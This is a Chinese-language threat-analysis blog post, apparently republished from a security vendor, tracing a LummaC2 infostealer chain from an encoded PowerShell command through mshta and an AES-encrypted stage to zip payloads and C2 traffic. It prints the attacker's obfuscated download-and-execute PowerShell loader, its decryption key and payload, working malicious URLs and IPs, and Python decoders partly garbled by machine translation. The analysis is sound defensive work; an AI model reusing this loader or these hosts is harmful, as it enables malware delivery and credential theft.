概述
最近几个月,我们观察到与 LummaC2 信息窃取程序相关的活动有所增加。本报告深入研究了 LummaC2 的一个新样本,该样本最初是通过一系列 PowerShell 命令发现的,这些命令最终在目标端点上下载并执行了有效负载。我们的分析涵盖了恶意软件执行的不同阶段,从初始 PowerShell 命令到后续的有效负载解密和执行,从而深入了解了威胁行为者使用的策略、技术和程序 (TTP)。
什么是 Lumma 恶意软件?
Lumma 是一种用 C(编程语言)编写的信息窃取恶意软件,旨在窃取敏感信息。据观察,该恶意软件被用作恶意软件即服务 (MaaS),从 2022 年左右开始出现在俄语论坛上。一旦恶意软件感染目标主机,它就会尝试从端点窃取信息,然后将其泄露到命令和控制服务器。在此处查看更多信息:Lumma 恶意软件家族
样本信息
SHA256:2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a – 第一阶段
SHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372e – 第二阶段
恶意软件的两个阶段均被确定为 LummaC2 Infostealer/Evader。我们还观察到样本某些部分的熵值较高,这可能表明存在混淆。这两个文件都没有签名,但它们确实包含显示伪装尝试的文件元数据。MITRE技术“伪装”T1036。
静态分析 第一阶段:
最初发现时,我们在 PowerShell 编码命令中发现了此示例,该命令试图与域通信以下载 LummaC2 恶意软件示例。
“PowerShell.exe”-eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AYQB0AG8ALQBjAGEAbQBwAC0AdgA0AC4AYgAtAGMAZABuAC4AbgBlAHQALwBrAGUAcwB0AHkA
使用此编码命令,我们可以使用 CyberChef 解码字符串。编码命令被识别为 Base64。通过运行以下步骤,我们可以对其进行解码。解码后,我们可以看到入侵的下一阶段。通过发现的信息,我们观察到“mshta”后跟域名、末尾的路径和可能的文件名。https ://attack.mitre.org/techniques/T1059/001/
Mshta.exe 是一个可执行文件,用于执行 Microsoft HTML 文件(称为“HTA”)。作为合法的 Microsoft Windows 二进制文件,它被视为 LOLbin(Living off the Land 二进制文件),允许参与者将该进程用于恶意目的。技术:T1218.005
mshta https[:]//mato-camp-v4[.]b-cdn[.]net/kesty
一旦执行“kesty”文件,我们就会观察到第二个 PowerShell 脚本正在运行。此脚本执行使用 AES 加密的 HEX 字符串。PowerShell 命令中存储的密钥允许我们使用一些 Python 代码来解密 HEX 字符串并观察入侵的下一阶段。我将 HEX 字符串与命令分开以简化读取输出。
"powershell[.]exe" -w 1 -ep Unrestricted -nop function dhHMLxZL($zybwHU){return -split ($zybwHU -replace '..', '0x$& ')};$VojsypW = dhHMLxZL('HEX STRING HERE');$qxErp = [System.Security.Cryptography.Aes]::Create();$qxErp.Key = dhHMLxZL('6D6B584A7142515A59457441736E454C');$qxErp.IV = New-Object byte[] 16;$nkmgRbwD = $qxErp.CreateDecryptor();$KTyPFajOy = $nkmgRbwD.TransformFinalBlock($VojsypW, 0, $VojsypW.Length);$grJicbjRF = [System.Text.Encoding]::Utf8.GetString($KTyPFajOy);$nkmgRbwD.Dispose();& $grJicbjRF.Substring(0,3) $grJicbjRF.Substring(3)
十六进制字符串
B9EFAD8C773C4FE92E2E22914A07D7E3EFCBCCF45813B63684D5D0CE1F91BC8987190E70CCBAF581F2D0142BECBF89E5A6DCAED490FF701F3CDBFE12FD079F9106A8A78CFA3F65476F8A2594493A51557FBF89F4A9265945E0FF6F6160800A97AD474FC3BB569A75907866265CE08B2CCD2D88F6ADA298E5DD710D04CF157DCD58482384D7E5E3633FB0794A17559D12B9E69A84DC790B17886BF689ABBE9BF8A3DAB80E0A65157688FED50BF7490602BD78A46FEE240555CA152510BAECBFE3B9467FE0382D4DAB6A17C257A8DEC931CF0117FCE15640800861C8067AD02FD8D90EE1927BBED2B9CB1E0394A43F38959B9EBFCF9BFC489373F2C53346EE09D7AFEAA9B4D6EBF4EB1D6A6173D5D6139902FA76C080E2549DF0B07E0F41756DAEB157C64BA9F61A381E46DBBAFB86BD0B08B280D14C069343E8A58438EC99CE3E7B49993D990C131C747D9399ADB868348802CC206E62BE488D0ACC3C98B9492BB3B9F5EFC9EEBDA7E0DBDE25819C02AF7001B0C11EBDBC7FA3796EB537BB0A56ED21F4E20510EC9E9B936B8F4CFEF9275350623F3846397AE1615332790CA613CD266AF8B75162814123AD7E8A7668984E84E4F1A3DCB97DF46F2057C5B671F603140220E7A8555BB2EAC36D876FD34281BB7C48DF1614D130A5680593B7A4D9C4EF06979F0D4D170F40F140C8ABE3A7E08C249E7E793A55958CE746944178427C379F918C378E81721C5F919E2738FC8E1C01FF3A0391978D2776121CFA59AC64FCAACF8738B16EC0BD5915413241B1E597F38AF0402FE54EFFB754C9FB5219268B1B91B522C105AB0DD798FBAA7A3DA5E71E63F2EE7C6166B7F07AE84409D775B3BD318808EA4901546E793F4C5BD126B31549AFFB9DEC5FA039FF59E9731E0109B31DB528F9A78B2A7E585EB1A485C0601F132B760E88EEA681FF60EFAA2986E6720C9CD3383914E242C81D29A2AC9444A996F7DEC89DB2C94ED43378A1819DAB4E7E7AFBBD183A9B8E7788DFEB161D7F009346FEED40509A439E67BE259BFDCEB580F886F4571F9A79CC1FE86A18D851026184448090232F9B55AFA195DAB83E28B6A9BD5DA1AC561A3A5B6A97417E2A531B4F418BBCE62B2DA8F49724C32BF3F53F7CC340FB224071C933B03814B20DEFE0472B543F07815070B65661CC57FC7944F92A15D012BF3E3F9E741239FAD5AF28F36CB145352C2AF705D8DD021F048433938535A3609280B453A26E86B95D8CA0A63FD5DCF8087C8B44255C22F5AD92F394EB335BFE532240359BA4AD8E2E57694EA1191542558F0131F15FF14EC7DF244B6B5DE622066FB49B56850B137E3C55C6900435A34A82B966A71EF4D42FF1C36707DF5CB363D8F877150C15416D47D8F67FBC403C073DE0A859A5B6F17336AE12021BFAC88A38508AD47908F91F2511E7F061F6408FAD76F1837C0FE999F424802E205562F2209F1534E5E684562C7FE9E15411271E0D2AFCC47399EFBF20909683747834B0729624E5A5B6FE85263FAFBF45086A2FFCDCAE018DD5419F436BFC9C130526A873497BC23529A411EE48E684205AC730B20795A4743E63E5E9DA49CCECBF36E31F6BA0C79B46CAEFE6435F7B7BB4807BE276F02EE9E96F670C55E318184601914CEAB92FA5C719BB7D4BDE9D5170DBB58B422487863FE259E1B4B2456675F867A8B1D92A48725C5042568A83E0DF9F1C3FCDECA4939BFAD67E917263F64F9036A782CE1248407A1C4037C77E1E69418FA89732C49E027E1A0A7A70D26F02124BA6476F056EC1B5CCD9140BC44C8D83E40EDAADF50B5340C117663F35142F946239BDFEF99823DA4F4507B28A18C447CDA60AC90558986CAD6423F22C874BB3ED2BE8C78DCB6C14CA2664FB9350F5176F6C3A576271B72D61F7EDA33C440833A621D4BE02ED3C6050F3A38348C07A48491A29CF52BAC19979203D68F545FB4A9313235C99486C0B0E71BEEA1BD3A805D552E65C33C6C8F77E422A5C493E9D7E61C1C1AA2BBB70289A091AD929A786B565D71F531EC3345C045ED923542BD3A64C5B165D156096D943E9CA0B6407E34D81C1601D5EEE73
从 Crypto.Cipher 导入 AES
导入binascii
def dhHMLxZL(十六进制字符串):
返回字节数组(binascii.unhexlify(hex_string))
# 十六进制编码字符串 - payload
十六进制字符串 = ('')
# 解密密钥
密钥十六进制 = '6D6B584A7142515A59457441736E454C'
密钥 = dhHMLxZL(key_hex)
# 初始化向量
iv = 字节数组(16)
# 解密数据
密码 = AES.new(密钥,AES.MODE_CBC,iv)
加密字节 = dhHMLxZL(十六进制字符串)
解密字节 = 密码.解密(加密字节)
decrypted_string = decrypted_bytes.decode('utf-8',错误='ignore')
打印(解密后的字符串)
在命令中,我们观察到“dhHMLxZL('6D6B584A7142515A59457441736E454C')”,我们已将其标识为解密密钥。通过使用 Python 脚本,我们可以对其进行解码。
解密后的 PowerShell 脚本如下:
iexfunction qZw($lKt, $ySk){[IO.File]::WriteAllBytes($lKt, $ySk)};function xoj($lKt){$VDFW = $env:Temp;Expand-Archive -Path $lKt -DestinationPath $VDFW;Add-Type -Assembly System.IO.Compression.FileSystem;$zipFile = [IO.Compression.ZipFile]::OpenRead($lKt);$TRJF =($zipFile.Entries | Sort-Object Name | Select-Object -First 1).Name;$xzRdS = Join-Path $VDFW $TRJF;start $xzRdS ;};function VIR($gOF){$QrS = New-Object (Aec @(3914,3937,3952,3882,3923,3937,3934,3903,3944,3941,3937,3946,3952));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ySk = $QrS.DownloadData($gOF);return $ySk};function Aec($KUk){$wqg=3836;$LTu=$Null;foreach($ChY in $KUk){$LTu+=[char](<https://www.notion.so/$ChY-$wqg>)};return $LTu};function mjq(){$pOw = $env:Temp + '\\\\';;;$FUoqayOeHITRAQ = $pOw + 'U1.zip'; if (Test-Path -Path $FUoqayOeHITRAQ){xoj $FUoqayOeHITRAQ;}Else{ $VRplyCyUxeAYi = VIR (Aec @(3940,3952,3952,3948,3951,3894,3883,3883,3935,3933,3945,3948,3958,3941,3948,3951,3885,3882,3934,3881,3935,3936,3946,3882,3946,3937,3952,3883,3921,3885,3882,3958,3941,3948));qZw $FUoqayOeHITRAQ $VRplyCyUxeAYi;xoj $FUoqayOeHITRAQ};$oGCOSZNMJeHKTc = $pOw + 'U2.zip'; if (Test-Path -Path $oGCOSZNMJeHKTc){xoj $oGCOSZNMJeHKTc;}Else{ $MnAaDeGMvZKoV = VIR (Aec @(3940,3952,3952,3948,3951,3894,3883,3883,3935,3933,3945,3948,3958,3941,3948,3951,3885,3882,3934,3881,3935,3936,3946,3882,3946,3937,3952,3883,3921,3886,3882,3958,3941,3948));qZw $oGCOSZNMJeHKTc $MnAaDeGMvZKoV;xoj $oGCOSZNMJeHKTc};;;}mjq;\\x02\\x02
函数定义:
-
qZw:将字节数据写入文件。
-
xoj:将 zip 存档扩展至临时目录并执行在存档中找到的第一个文件。
-
VIR:使用 TLS 1.2 从给定的 URL 下载数据。
-
Aec:通过从每个值中减去 3836 并将结果转换为字符来解码整数数组。
-
mjq:协调从特定 URL 下载和执行两个 zip 文件U1.zip和U2.zip。U2.zip 包含“ashampoo.exe”。
查看定义的函数,我们发现了两个潜在的 zip 文件。根据我们的观察,这些文件包含额外的 URL 编码。利用这些信息,我们能够使用“Aec”函数解码 URL 数组,并获得以下 URL:
-
https[:]//campzips1[.]b-cdn[.]net/U1.zip
-
https[:]//campzips1[.]b-cdn[.]net/U2.zip
def Aec(KUk):
韓國 = 3836
LTu = ''.join([chr(ChY - wqg) for ChY in KUk])
返回 LTu
# 编码的 URL 数组
url1_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941, 3948, 3951, 3885, 3882, 3934, 3881, 3935, 3936, 3946, 3882, 3946, 3937, 3952, 3883, 3921, 3885, 3882, 3958, 3941, 3948]
url2_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941, 3948, 3951, 3885, 3882, 3934, 3881, 3935, 3936, 3946, 3882, 3946, 3937, 3952, 3883, 3921, 3886, 3882, 3958, 3941, 3948]
# 解码后的 URL
url1 = Aec(url1_encoded)
url2 = Aec(url2_encoded)
网址1、网址2
查看 VirusTotal 上的 URL,我们发现了一个名为 BitlockerToGO Execution 的 PE 文件。我们还发现进程“ashampoo.exe”存储在“U2.zip”中,我们认为这是名为 Lumma 的第二阶段恶意软件。
第二阶段:
深入研究恶意软件的下一阶段,一些域名已被关闭或威胁行为者已停止活动。不过,我能够在沙箱中运行第二阶段样本“ashampoo.exe”来执行一些动态分析,结果如下
我想检查的第一件事是它的执行情况,看看它执行了哪些操作,以及是否有任何其他子进程或其他文件被删除。
我们发现“dllhost.exe”是作为子进程创建的。恶意代码被注入“Bitlockertogo.exe”,然后创建两个额外的进程,最终创建“dllhost.exe”。此外,我们观察到“dllhost.exe”被用于命令和控制,并与 IP 建立连接。
此外,我们还观察到了持久性的尝试。观察到进程“mbssiy2zv5n8qjoazw144h95fvv3lwq.exe”从“ashampoo.exe”>“bitlockertogo.exe”中删除,然后创建子进程“mbssiy2zv5n8qjoazw144h95fvv3lwq.exe”。当我们查看进程 7 时,我们可以观察到成功写入“HKEY_USERS{USER Account HERE}SoftwareMicrosoftWindowsCurrentVersionRun”中的注册表。这是最常见的持久性点之一,因为它允许参与者获得对目标端点的访问权限。MITRE ATT&CK T1547.001
进一步研究恶意软件的命令和控制,我们可以从图 8 中看到“dllhost.exe”被用作命令和控制的进程。“Dllhost.exe”是一个已知的合法 Microsoft Windows 文件,具体来说是 Windows 用于加载 COM 对象的 COM 代理进程。
攻击者通过向该进程注入代码,指示其执行未经授权的操作,恶意利用该进程。这种技术通常称为进程注入。MITRE技术 T1055。
这里,我们有恶意连接的 PCAP。从动态分析中,我们观察到与 IP“188.68.220[.]48”的连接。通过将其设置为目的地,我们可以看到源 IP 地址和目标 IP 地址之间的通信。我们观察到与目标 C2 服务器的多个 HTTP 通信间隔。
在进一步分析动态分析的 PCAP 文件后,我们观察到对“vamplersam[.]info”的“POST”请求,其中请求正在将数据发送到端点“/cfg”。这可能表明 C2 服务器和目标端点之间正在交换数据流或命令。虽然我正在过滤对目标 IP 地址的分析,但很明显,如果发出了 POST 请求,则命令可能会从 C2 服务器发送到目标设备以接收数据。
其工作方式是,攻击者将发送命令,例如“获取文件”或“下载文件”,从而允许他们从目标设备收集数据。这将属于MITRE 技术“收集”和渗透MITRE 技术渗透。Lumma 的另一个常见方面是它使用用户代理“TeslaBrowser/5.5”。但是,在此示例中,当检查 HTTP 标头时,我们看不到此用户代理。这可能是因为攻击者使用自定义客户端发送请求,很可能是为了避免检测到,因为他们知道之前的样本中使用过此用户代理。
行为过程
MITRE 攻击技术
URLs:
https[:]//mato-camp-v4.b-cdn[.]net
http[:]//campzips1.b-cdn[.]net/U1.zip
https[:]//campzips1.b-cdn[.]net/U2.zip
http[:]//sulphurhsum[.]shop
http[:]//rainbowmynsjn[.]shop
http[:]//assumedtribsosp[.]shop
http[:]//chippyfroggsyhz[.]shop
http[:]//ufort[.]info
https[:]//bitbucket[.]org/dultevupse1/zeus/downloads/108GoDll.exe
http[:]//creepydxzoxmj[.]shop
http[:]//boattyownerwrv[.]shop
http[:]//vamplersam[.]info/cfg
https[:]//sulphurhsum[.]shop/api
http[:]//budgetttysnzm[.]shop
http[:]//definitonizmnx[.]shop
http[:]//empiredzmwnx[.]shop
IP Addresses:
188.68.220[.]48 – Country: Russia
185.166.143[.]48 – Country: Russia – Resolved Domain: bitbucket[.]org
File Names/Hashes:
ashampoo.exe – SHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372e
Kesty[1] – SHA256: 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a
108GoDll.exe – SHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398
mbssiy2zv5n8qjoazw144h95fvv3lwq.exe – SHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398
https://www.ontinue.com/resource/obfuscated-powershell-leads-to-lumma-c2-stealer/
原文始发于微信公众号(Ots安全):混淆的 PowerShell 导致 Lumma C2 Stealer
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论